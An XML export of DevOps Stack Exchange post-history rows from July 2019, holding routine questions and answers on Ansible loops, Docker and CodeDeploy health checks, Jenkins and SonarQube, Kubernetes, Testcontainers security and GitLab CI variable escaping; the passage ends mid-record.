  <row Id="25189" PostHistoryTypeId="5" PostId="8609" RevisionGUID="d9ad6740-95bc-476c-a05a-6fc78b448558" CreationDate="2019-07-14T01:21:23.673" UserId="16003" Comment="added 198 characters in body" Text="I'm not able to loop a list in a dict and keep the key of the original dict.&#xD;&#xA;&#xD;&#xA;Bellow an example of my data&#xD;&#xA;&#xD;&#xA;    vars:&#xD;&#xA;     nginx_users:&#xD;&#xA;        'instance1':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;           cert_source: internal-ca&#xD;&#xA;           URL: page-nginx.domain.internal&#xD;&#xA;           port: 8090&#xD;&#xA;           downtime: true&#xD;&#xA;           basic_auth:&#xD;&#xA;              - username1&#xD;&#xA;              - username2&#xD;&#xA;           ip_restriction:&#xD;&#xA;              - '0.0.0.0/0'&#xD;&#xA;        'instance2':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;           cert_source: internal-ca&#xD;&#xA;           URL: page2-nginx.domain.internal&#xD;&#xA;           port: 8091&#xD;&#xA;           downtime: true&#xD;&#xA;           basic_auth:&#xD;&#xA;              - username1&#xD;&#xA;              - username2&#xD;&#xA;           ip_restriction:&#xD;&#xA;              - '0.0.0.0/0'&#xD;&#xA;        'instance1':&#xD;&#xA;           roles:&#xD;&#xA;              - product&#xD;&#xA;              - nginx_instance&#xD;&#xA;&#xD;&#xA;I need to loop it in a manner that It iterates like this&#xD;&#xA;&#xD;&#xA;    &quot;msg&quot;: [&#xD;&#xA;            &quot;instance1&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username1&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;instance1&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username2&quot;&#xD;&#xA;            ],&#xD;&#xA;           &quot;instance2&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username1&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;instance2&quot;,&#xD;&#xA;            [&#xD;&#xA;                &quot;username2&quot;&#xD;&#xA;            ]&#xD;&#xA;    ...&#xD;&#xA;        ]&#xD;&#xA;&#xD;&#xA;I am using&#xD;&#xA;&#xD;&#xA;&gt; when: item.value.basic_auth is defined&#xD;&#xA;&#xD;&#xA;In a loop which will filter out the items without the desired **value/item** and return only the &quot;items&quot; that I need to parse, like.&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    loop: &quot;{{ nginx_users | dict2items }}&quot;&#xD;&#xA;    when: item.value.basic_auth is defined&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;However from there I don't know how to loop those &quot;items&quot; to get the list of users on a way that it returns the single user per iteration and preserve the key.&#xD;&#xA;&#xD;&#xA;I know a work around would be to have use another variable instead of the key so I could just select it. but that wouldn't work for me in this escenario.&#xD;&#xA;&#xD;&#xA;I have tried using subelements and lookup but I don't seem to be able narrow down the exact combination also thought about using product too and try and traverse the data. But I wasn't able to use that either.&#xD;&#xA;&#xD;&#xA;After reading this:&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/pull/6370&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/pull/4982&#xD;&#xA;&#xD;&#xA;I'm starting to think I will have to use Jinja to be able to do this.&#xD;&#xA;&#xD;&#xA;This is as close as I have been able to get to what I'm trying to achieve&#xD;&#xA;&#xD;&#xA;    - name: loop&#xD;&#xA;      debug:&#xD;&#xA;        msg:&#xD;&#xA;        - &quot;{{ item.key }}&quot;&#xD;&#xA;        - &quot;{{ item.value.basic_auth }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users | dict2items }}&quot;&#xD;&#xA;      when: item.value.basic_auth is defined&#xD;&#xA;    &#xD;&#xA;    - name: loop&#xD;&#xA;      debug:&#xD;&#xA;        msg:&#xD;&#xA;        - &quot;{{ item.1 }}&quot;&#xD;&#xA;      loop: &quot;{{ lookup('subelements', nginx_users, 'basic_auth', {'skip_missing': True}) }}&quot;&#xD;&#xA;&#xD;&#xA;which results on this:&#xD;&#xA;&#xD;&#xA;     TASK [loop]&#xD;&#xA;     ************************************************************************ skipping: [nginx-test-01.domain.internal] =&gt; (item={'key':&#xD;&#xA;     u'instance1', 'value': {u'roles': [u'product', u'nginx_instance']}})&#xD;&#xA;     ok: [nginx-test-01.domain.internal] =&gt; (item={'key': u'username2',&#xD;&#xA;     'value': {u'roles': [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.symplectic.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'basic_auth': [u'username1', u'username2'], u'port': 8090,&#xD;&#xA;     u'zerodowntime': True, u'cert_source': u'internal-ca'}}) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;instance1&quot;,&#xD;&#xA;             [&#xD;&#xA;                 &quot;username1&quot;,&#xD;&#xA;                 &quot;username2&quot;&#xD;&#xA;             ]&#xD;&#xA;         ]}&#xD;&#xA;    &#xD;&#xA;     TASK [loop]&#xD;&#xA;     ************************************************************************ ok: [nginx-test-01.domain.internal] =&gt; (item=[{u'roles':&#xD;&#xA;     [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.domain.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'port': 8090, u'downtime': True, u'cert_source':&#xD;&#xA;     u'internal-ca'}, u'username1']) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;username1&quot;&#xD;&#xA;         ] } ok: [nginx-test-01.domain.internal] =&gt; (item=[{u'roles': [u'product', u'nginx_instance'], u'URL':&#xD;&#xA;     u'page-nginx.symplectic.internal', u'ip_restriction': [u'0.0.0.0/0'],&#xD;&#xA;     u'port': 8091, u'downtime': True, u'cert_source':&#xD;&#xA;     u'internal-ca'}, u'username2']) =&gt; {&#xD;&#xA;         &quot;msg&quot;: [&#xD;&#xA;             &quot;username2&quot;&#xD;&#xA;         ] }&#xD;&#xA;&#xD;&#xA;Any thought/suggestions would be appreciated.&#xD;&#xA;&#xD;&#xA;UPDATE: I have learned that using **loop control inner with and outer variable** I can achieve this. But this requires me to use a separated .yml Is there any way to do this on the same .yml file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25192" PostHistoryTypeId="2" PostId="8610" RevisionGUID="ef21c389-3d79-482f-a218-c53bb3fd41f7" CreationDate="2019-07-14T05:44:17.207" UserId="16004" Text="I tried to host docker container in my EC2, just for UAT (for production, we will fargate). My concern is I want to host my container in EC2 and run all test cases, after successfully will be deployed to fargate.&#xD;&#xA;&#xD;&#xA;Here is **appspec.yml**&#xD;&#xA;&#xD;&#xA;    version: 0.0&#xD;&#xA;    os: linux&#xD;&#xA;    files:&#xD;&#xA;      - source: /&#xD;&#xA;        destination: /root/MY-BACKEND&#xD;&#xA;        overwrite: true&#xD;&#xA;    hooks:&#xD;&#xA;      BeforeInstall:&#xD;&#xA;        - location: ./scripts/before_install.sh&#xD;&#xA;          timeout: 300&#xD;&#xA;          runas: root&#xD;&#xA;      AfterInstall:&#xD;&#xA;        - location: ./scripts/after_install.sh&#xD;&#xA;          timeout: 300&#xD;&#xA;          runas: root&#xD;&#xA;      ApplicationStart:&#xD;&#xA;        - location: ./scripts/app_start.sh&#xD;&#xA;          timeout: 300&#xD;&#xA;          runas: root&#xD;&#xA;      ApplicationStop:&#xD;&#xA;        - location: ./scripts/app_stop.sh&#xD;&#xA;          timeout: 300&#xD;&#xA;          runas: root&#xD;&#xA;      ValidateService:&#xD;&#xA;        - location: ./scripts/validate_server.sh&#xD;&#xA;          timeout: 300&#xD;&#xA;          runas: root&#xD;&#xA;&#xD;&#xA;and **after_install.sh**&#xD;&#xA;&#xD;&#xA;      cd /root/MY-BACKEND&#xD;&#xA;      docker build -t my-backend .&#xD;&#xA;&#xD;&#xA;and **app_start.sh**&#xD;&#xA;&#xD;&#xA;      cd /root/MY-BACKEND&#xD;&#xA;      docker run -d -p 80:2019 --name my-docker my-backend&#xD;&#xA;&#xD;&#xA;and **validate_server.sh**&#xD;&#xA;&#xD;&#xA;      curl -m 5 http://0.0.0.0&#xD;&#xA;&#xD;&#xA;After that, I've encountered following error message from Validate Server `[stderr]curl: (52) Empty reply from server`&#xD;&#xA;&#xD;&#xA;And when changed to `curl -m 5 http://localhost`, encountered following error message `[stderr]curl: (56) Recv failure: Connection reset by peer`&#xD;&#xA;&#xD;&#xA;But when I open browser, my app is working either tried `curl` from my local and remote server, both are working. Please let me know which I missed to add some validation." ContentLicense="CC BY-SA 4.0" />
  <row Id="25193" PostHistoryTypeId="1" PostId="8610" RevisionGUID="ef21c389-3d79-482f-a218-c53bb3fd41f7" CreationDate="2019-07-14T05:44:17.207" UserId="16004" Text="Docker container is running but when using curl not accessible" ContentLicense="CC BY-SA 4.0" />
  <row Id="25194" PostHistoryTypeId="3" PostId="8610" RevisionGUID="ef21c389-3d79-482f-a218-c53bb3fd41f7" CreationDate="2019-07-14T05:44:17.207" UserId="16004" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;aws-codedeploy&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25195" PostHistoryTypeId="50" PostId="8281" RevisionGUID="fd242856-8405-4b4d-8725-cf5230ffba42" CreationDate="2019-07-14T09:02:35.323" UserId="-1" />
  <row Id="25196" PostHistoryTypeId="5" PostId="5924" RevisionGUID="dbb63764-ef40-48ae-b8e0-7fe13a457266" CreationDate="2019-07-14T10:22:35.140" UserId="10599" Comment="minor refresh " Text="**Disclosure**: I work as a devops coach at a global company with over a thousand developers. &#xD;&#xA;&#xD;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, in one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. Cloud providers can give us better tools but we will still need devops skills to make best use of them. Any set of tools can be used badly and we shouldn’t expect Serverless to be any different.&#xD;&#xA;&#xD;&#xA;**Long Answer:** &#xD;&#xA;&#xD;&#xA;I think that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xD;&#xA;&#xD;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continuously improving how your product runs, and is monitored, and tested, and patched, and secured while continuously expanding and adding new business features requires discipline, skill and hard effort. &#xD;&#xA;&#xD;&#xA;It has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xD;&#xA;&#xD;&#xA;I would argue that just like “developers won’t disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xD;&#xA;&#xD;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have git webhooks sync the configuration into a cloud provider managed Kubernetes to create your running system. You don't use servers you rent cpu and ram quota a managed cluster to host your containers. Then you can automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that “run your business” that a cloud provider cannot just gift you. &#xD;&#xA;&#xD;&#xA;I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continuously improve is “devops work”. The fact that that tools are cutting edge and can use SaaS based CI/CD, functions, rent cpu and memory quota on a shared kubernetes, use managed cloud database, etc just means it’s devops with new tools not devops with traditional tools.&#xD;&#xA;&#xD;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We open-sourced all the scripts that we use to sync yaml in git into our Kubernetes on AWS as a project called [OCD][1]. (Our business doesn't use functions yet so currently, it's OKD Kubernetes automation but the principle would be the same). I migrated the startup to the open-source version in the evenings. So during the day I was doing devops coaching work with traditional tools (Git, Jenkins, Ansible et al) and in the evenings I do devops work with the very latest tools (Git Circleci, Helmfile). Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. &#xD;&#xA;&#xD;&#xA;As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. To distinguish between old and new sets of tools we might call the new style &quot;no ops&quot; or &quot;git ops&quot;. &#xD;&#xA;&#xD;&#xA;The same can be said about Site Reliability Engineering. With the old tools, you are watching VMs. With new tools, you are watching higher-level metrics such as service mesh traffic. A cloud provider cannot gift you large set of dashboards that show you how your business is running under load and diagnose and rebalance things when an intermittant bug is put live. &#xD;&#xA;&#xD;&#xA;**Finally**&#xD;&#xA;&#xD;&#xA;I personally don’t believe in “devops teams” or “devops roles”. Devops is a way of working and it’s not working if development teams are not empowered to “design, build, deploy and support” what they make. You might hire people with technical specialists skills such as build and deployment automation and agile coaching. The tests of whether it’s “devops” or “ops” is whether they automate things so that teams are empowered and made self-sufficient. A “devops” team clicking a mouse setting up IaaS for developer teams isn’t devops it’s plain old ops. When you replace that team with self-service automaton it becomes devops. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="25197" PostHistoryTypeId="50" PostId="5840" RevisionGUID="3076c565-8cf6-4cf8-a219-fb506d8e3326" CreationDate="2019-07-14T11:01:05.120" UserId="-1" />
  <row Id="25201" PostHistoryTypeId="50" PostId="6370" RevisionGUID="35a1a40d-697a-48c3-8d3a-6d2b3d33989c" CreationDate="2019-07-14T22:00:55.110" UserId="-1" />
  <row Id="25202" PostHistoryTypeId="50" PostId="8384" RevisionGUID="3658873e-6457-45d6-9121-d62062e19b94" CreationDate="2019-07-14T23:02:00.260" UserId="-1" />
  <row Id="25203" PostHistoryTypeId="2" PostId="8612" RevisionGUID="a71b3e9c-69ef-496a-9a29-c970b55b50d4" CreationDate="2019-07-14T23:30:19.337" UserId="16009" Text="On learning about integrating Sonarqube to CI/CD pipeline, I came across the Sonarqube Jenkins plugin which most of the online blogs recommends.&#xD;&#xA;&#xD;&#xA;After configuring it, I realized that the working is the same as that of running the sonar-scanner through the command line using below command.&#xD;&#xA;&#xD;&#xA;    sonar-scanner.bat -D&quot;sonar.projectKey=test&quot; -D&quot;sonar.sources=.&quot; -D&quot;sonar.host.url=http://localhost:9000&quot; -D&quot;sonar.login=erwerwerwerwer&quot;&#xD;&#xA;&#xD;&#xA;&gt; what's the advantage of using a plugin over just running the tools as&#xD;&#xA;&gt; windows batch command in Jenkins build step." ContentLicense="CC BY-SA 4.0" />
  <row Id="25204" PostHistoryTypeId="1" PostId="8612" RevisionGUID="a71b3e9c-69ef-496a-9a29-c970b55b50d4" CreationDate="2019-07-14T23:30:19.337" UserId="16009" Text="What is the need of plugins in Jenkins (Sonarqube)" ContentLicense="CC BY-SA 4.0" />
  <row Id="25205" PostHistoryTypeId="3" PostId="8612" RevisionGUID="a71b3e9c-69ef-496a-9a29-c970b55b50d4" CreationDate="2019-07-14T23:30:19.337" UserId="16009" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;windows&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25214" PostHistoryTypeId="5" PostId="8612" RevisionGUID="bc034487-17f5-4669-b88f-fba1f25b5a91" CreationDate="2019-07-15T08:36:08.233" UserId="16009" Comment="added 83 characters in body" Text="On learning about integrating Sonarqube to CI/CD pipeline, I came across the Sonarqube Jenkins plugin which most of the online blogs recommends.&#xD;&#xA;&#xD;&#xA;After configuring it, I realized that the working is the same as that of running the sonar-scanner through the command line using below command.&#xD;&#xA;&#xD;&#xA;    sonar-scanner.bat -D&quot;sonar.projectKey=test&quot; -D&quot;sonar.sources=.&quot; -D&quot;sonar.host.url=http://localhost:9000&quot; -D&quot;sonar.login=erwerwerwerwer&quot;&#xD;&#xA;&#xD;&#xA;Same is applicable for any tool, as most can be executed through command line.&#xD;&#xA;&#xD;&#xA;&gt; what's the advantage of using a plugin over just running the tools as&#xD;&#xA;&gt; windows batch command in Jenkins build step.?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25215" PostHistoryTypeId="5" PostId="8612" RevisionGUID="a19b4e44-86f8-4570-b07f-fba4cd857b2a" CreationDate="2019-07-15T08:41:17.873" UserId="16009" Comment="added 4 characters in body" Text="On learning about integrating Sonarqube to CI/CD pipeline, I came across the Sonarqube Jenkins plugin which most of the online blogs recommends.&#xD;&#xA;&#xD;&#xA;After configuring it, I realized that the working is the same as that of running the sonar-scanner through the command line using below command.&#xD;&#xA;&#xD;&#xA;    sonar-scanner.bat -D&quot;sonar.projectKey=test&quot; -D&quot;sonar.sources=.&quot; -D&quot;sonar.host.url=http://localhost:9000&quot; -D&quot;sonar.login=erwerwerwerwer&quot;&#xD;&#xA;&#xD;&#xA;**Same is applicable for any tool, as most can be executed through command line.**&#xD;&#xA;&#xD;&#xA;So I am confused about,&#xD;&#xA;&#xD;&#xA;&gt; what's the advantage of using a plugin over just running the tools as&#xD;&#xA;&gt; windows batch command in Jenkins build step.?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25227" PostHistoryTypeId="50" PostId="6372" RevisionGUID="259b864e-fb3f-44d3-9900-1855358967fe" CreationDate="2019-07-15T12:01:55.163" UserId="-1" />
  <row Id="25228" PostHistoryTypeId="2" PostId="8618" RevisionGUID="ba40d401-fe62-497d-9bfb-6ad9aff4634c" CreationDate="2019-07-15T14:37:28.273" UserId="15792" Text="Any CI/CD plugin can ultimately be scripted.  However, using plugins gives you better centralized control.  &#xD;&#xA;&#xD;&#xA;**Consider the following scenario**: Your SonarQube server location has to move to a new location.  &#xD;&#xA;&#xD;&#xA;If you are using a script like the example you provided above, you would need to manually update every script.  This process is error prone as you may miss a script or worse, type the wrong address.  Instead, if you are using a plugin you can update the server location once and be done." ContentLicense="CC BY-SA 4.0" />
  <row Id="25229" PostHistoryTypeId="2" PostId="8619" RevisionGUID="a43ee96b-ed9e-460c-99bd-e3d0bedba0e9" CreationDate="2019-07-15T15:05:24.487" UserId="16019" Text="I inherited an app without a ton of handoff information, and there's a Kubernetes setup with ReplicaSets and KOPS (and based on Docker containers). I am pretty new to Kubernetes&#xD;&#xA;&#xD;&#xA;Whenever one of the associated servers goes down, a cloned server is immediately spun up, which is working as desired.&#xD;&#xA;&#xD;&#xA;However I am looking to make some persistent changes (uploading a some new files to the API, changing some environmental variables) to the setup, and my understanding is that I'll probably need to modify the images pulled to do this. Persistence is setup via PersistentVolumeLabel and openlayer&#xD;&#xA;&#xD;&#xA;Is this correct?&#xD;&#xA;&#xD;&#xA;I am trying to pull the images down locally so I can modify them, but getting an authentication required error - I have about a dozen private keys, so I assume the credentials are in one of them - is there a way to see how the ReplicaSet is pulling the images down?&#xD;&#xA;&#xD;&#xA;Sorry for any confusions - I am very new to Kubernetes and this level of DevOps - I am used to much simpler and less scalable (so like a couple servers and a load balancer) type setups, not this type of DevOps." ContentLicense="CC BY-SA 4.0" />
  <row Id="25230" PostHistoryTypeId="1" PostId="8619" RevisionGUID="a43ee96b-ed9e-460c-99bd-e3d0bedba0e9" CreationDate="2019-07-15T15:05:24.487" UserId="16019" Text="Is a ReplicaSet pulling a fresh image at every spin up?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25231" PostHistoryTypeId="3" PostId="8619" RevisionGUID="a43ee96b-ed9e-460c-99bd-e3d0bedba0e9" CreationDate="2019-07-15T15:05:24.487" UserId="16019" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25233" PostHistoryTypeId="2" PostId="8620" RevisionGUID="af615b6e-0f3a-41b7-87af-83a37f9996a5" CreationDate="2019-07-15T16:25:04.243" UserId="16022" Text="I have a discussion with our DevOps about using [Testcontainers][1] for integration tests. It's a tool to bring up throw-away containers for testing. The testcontainers need a environment variable `DOCKER_HOST=tcp://127.0.0.1:2375` to communicate with Docker.&#xD;&#xA;&#xD;&#xA;He refuses to set this environment variable explaining to me that he don't want to application communicate with Docker for security reasons.&#xD;&#xA;&#xD;&#xA;I've make a point that tool is designed to interact with Docker when running tests.&#xD;&#xA;&#xD;&#xA;So here is my questions:&#xD;&#xA;&#xD;&#xA;- Are there security considerations in this regard?&#xD;&#xA;- What more convincing arguments can I bring?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.testcontainers.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25234" PostHistoryTypeId="1" PostId="8620" RevisionGUID="af615b6e-0f3a-41b7-87af-83a37f9996a5" CreationDate="2019-07-15T16:25:04.243" UserId="16022" Text="Are using TestContainers safe for integration tests?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25235" PostHistoryTypeId="3" PostId="8620" RevisionGUID="af615b6e-0f3a-41b7-87af-83a37f9996a5" CreationDate="2019-07-15T16:25:04.243" UserId="16022" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;security&gt;&lt;microservices&gt;&lt;integration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25236" PostHistoryTypeId="2" PostId="8621" RevisionGUID="e018c996-9dfe-43e7-820b-97f08cd8d820" CreationDate="2019-07-15T18:19:38.660" UserId="16024" Text="I think the question about Docker security in general was already well answered in other places, for example here: https://stackoverflow.com/questions/40844197/what-is-the-docker-security-risk-of-var-run-docker-sock&#xD;&#xA;&#xD;&#xA;In your particular instance, I see the following points:&#xD;&#xA;&#xD;&#xA;1. The tests should run on some testing server, possibly even in a VM that is destroyed/reset after each test run, so possible accidents/incidents should not affect other systems&#xD;&#xA;2. For an attacker to use this setup, they would probably (depending on your tests) need to be able to modify your test code and if they are able to do so, you will already have much bigger problems than privileged Docker access" ContentLicense="CC BY-SA 4.0" />
  <row Id="25237" PostHistoryTypeId="2" PostId="8622" RevisionGUID="0394eccc-820d-4763-a694-c9c3fb95f46d" CreationDate="2019-07-15T18:50:38.430" UserId="2950" Text="My solution was based on the one of @rombob.&#xD;&#xA;I used S3 and created a daily S3 inventory file of the source bucket (which is replicated). Then I created a Athena DB and table using Glue (in CloudFormation). &#xD;&#xA;Then I implemented an S3 event which triggers a lambda. Every time a new manifest.checksum file was uploaded (= new inventory is finished). &#xD;&#xA;The lambda executes a query on the Athena table and checks if there are objects which [replication status][1] is FAILED. If there are then the lambda publishes to a SNS topic to send an email. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/crr-status.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25239" PostHistoryTypeId="2" PostId="8624" RevisionGUID="cf68b989-39d0-4126-98e7-173a49e2ccce" CreationDate="2019-07-15T19:38:41.467" UserId="15863" Text="I needed to whitelist `Host`, `Origin` and `Referer` in the `Whitelist Headers` section. &#xD;&#xA;&#xD;&#xA;I've had more issues with CloudFront, wrote a blog post about it, maybe someone will find it helpful: https://medium.com/@justynazet/placing-a-craft-cms-application-behind-the-cloudfront-1602027ff72b" ContentLicense="CC BY-SA 4.0" />
  <row Id="25247" PostHistoryTypeId="2" PostId="8626" RevisionGUID="2ea41fa1-b8b1-43c9-ae29-85dbd6b1a5b5" CreationDate="2019-07-16T08:24:35.567" UserId="9344" Text="I would like to trigger a GitlabCI pipeline that builds a Packer image, whenever there is a new version of a binary released in Github.&#xD;&#xA;&#xD;&#xA;How could I do that via the ci yaml configuration?&#xD;&#xA;Should I somehow use the API for [pipeline triggering][1]?&#xD;&#xA;&#xD;&#xA;Thanks. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/triggers/README.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25248" PostHistoryTypeId="1" PostId="8626" RevisionGUID="2ea41fa1-b8b1-43c9-ae29-85dbd6b1a5b5" CreationDate="2019-07-16T08:24:35.567" UserId="9344" Text="Trigger a GitlabCI pipeline after it detects a change via a curl callback" ContentLicense="CC BY-SA 4.0" />
  <row Id="25249" PostHistoryTypeId="3" PostId="8626" RevisionGUID="2ea41fa1-b8b1-43c9-ae29-85dbd6b1a5b5" CreationDate="2019-07-16T08:24:35.567" UserId="9344" Text="&lt;gitlab&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25250" PostHistoryTypeId="2" PostId="8627" RevisionGUID="316e049b-b87a-432d-af95-1c13611dd47d" CreationDate="2019-07-16T10:12:24.673" UserId="16031" Text="I have the following situation:&#xD;&#xA;I'm storing sensitive data in Gitlab's environment and then passing these variables to a deployment script in bash.&#xD;&#xA;&#xD;&#xA;Gitlab's env var:&#xD;&#xA;```&#xD;&#xA;Key: sensitive_var&#xD;&#xA;Value: aaa$bbb*%&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then in the `.gitlab-ci.yml` file the env vars are passed to the deployment script as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh PASS=${sensitive_var} &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The deployment script parses the arguments as follows:&#xD;&#xA;```&#xD;&#xA;for arg; do&#xD;&#xA;  TEMP_VAR=$(echo ${arg} | sed -e 's?=? ?')&#xD;&#xA;done&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem is that when we check the output of the `deploy.sh` script the variable's value gets expanded resulting in `aaa*%`.&#xD;&#xA;&#xD;&#xA;Solutions tried so far:  &#xD;&#xA;&#xD;&#xA; - Storing the value in Gitlab's environment with single quotes `'` but then the value was `'aaa*%'`.&#xD;&#xA; - Passing the environment variable with double quotes:&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh PASS=&quot;${sensitive_var}&quot; &#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh PASS=&quot;$sensitive_var&quot; &#xD;&#xA;```&#xD;&#xA;But the result was the same: `aaa*%`.  &#xD;&#xA;&#xD;&#xA;- Combination of the above solutions didn't work either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope you can help me understand why is this happening, and how I can fix it.  &#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="25251" PostHistoryTypeId="1" PostId="8627" RevisionGUID="316e049b-b87a-432d-af95-1c13611dd47d" CreationDate="2019-07-16T10:12:24.673" UserId="16031" Text="How to pass Gitlab env var with sensitive characters to bash script?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25252" PostHistoryTypeId="3" PostId="8627" RevisionGUID="316e049b-b87a-432d-af95-1c13611dd47d" CreationDate="2019-07-16T10:12:24.673" UserId="16031" Text="&lt;gitlab-ci-runner&gt;&lt;bash&gt;&lt;yaml&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25259" PostHistoryTypeId="5" PostId="8376" RevisionGUID="1bbc1f6f-8324-4696-81f5-3e9b9b7477a7" CreationDate="2019-07-16T11:33:37.520" UserId="40" Comment="deleted 13 characters in body" Text="I have a list of users that I want to delete (del_users), but I only want to delete those that haven't mountpoint on your /home directory. My currently code is:&#xD;&#xA;&#xD;&#xA;    - name: Verify if exist mount point on /home&#xD;&#xA;      shell: &quot;mount -l | grep bind | grep -ci {{ item }}&quot;&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      check_mode: False&#xD;&#xA;      loop: &quot;{{ del_users }}&quot;&#xD;&#xA;      register: del_users_reg&#xD;&#xA;    &#xD;&#xA;    - name: Delete user if doesn't exist mount point on /home&#xD;&#xA;      user:&#xD;&#xA;        name: &quot;{{ item }}&quot;&#xD;&#xA;        state: absent&#xD;&#xA;        remove: yes&#xD;&#xA;      when: item.stdout_lines == 0&#xD;&#xA;      loop: del_users_reg&#xD;&#xA;&#xD;&#xA;When I execute this task appears the next error:&#xD;&#xA;&#xD;&#xA;    TASK [osbasic : Verify if exist mount point on /home] *******************************************************************************************************************************************************************************************&#xD;&#xA;     [WARNING]: Consider using the mount module rather than running 'mount'.  If you need to use command because mount is insufficient you can add 'warn: false' to this command task or set 'command_warnings=False' in ansible.cfg to get rid&#xD;&#xA;    of this message.&#xD;&#xA;    &#xD;&#xA;    failed: [LGAUSUX10] (item=user1) =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;mount -l | grep bind | grep -ci usuario1&quot;, &quot;delta&quot;: &quot;0:00:00.025089&quot;, &quot;end&quot;: &quot;2019-06-11 13:33:40.978563&quot;, &quot;item&quot;: &quot;user1&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2019-06-11 13:33:40.953474&quot;, &quot;stderr&quot;: &quot;&quot;, &quot;stderr_lines&quot;: [], &quot;stdout&quot;: &quot;0&quot;, &quot;stdout_lines&quot;: [&quot;0&quot;]}&#xD;&#xA;    &#xD;&#xA;    TASK [osbasic : Verify if exist mount point on /home] *******************************************************************************************************************************************************************************************&#xD;&#xA;    ...ignoring&#xD;&#xA;    &#xD;&#xA;    TASK [osbasic : Delete user if doesn't exist mount point on /home] **********************************************************************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [osbasic : Delete user if doesn't exist mount point on /home] **********************************************************************************************************************************************************************************&#xD;&#xA;    fatal: [LGAUSUX10]: 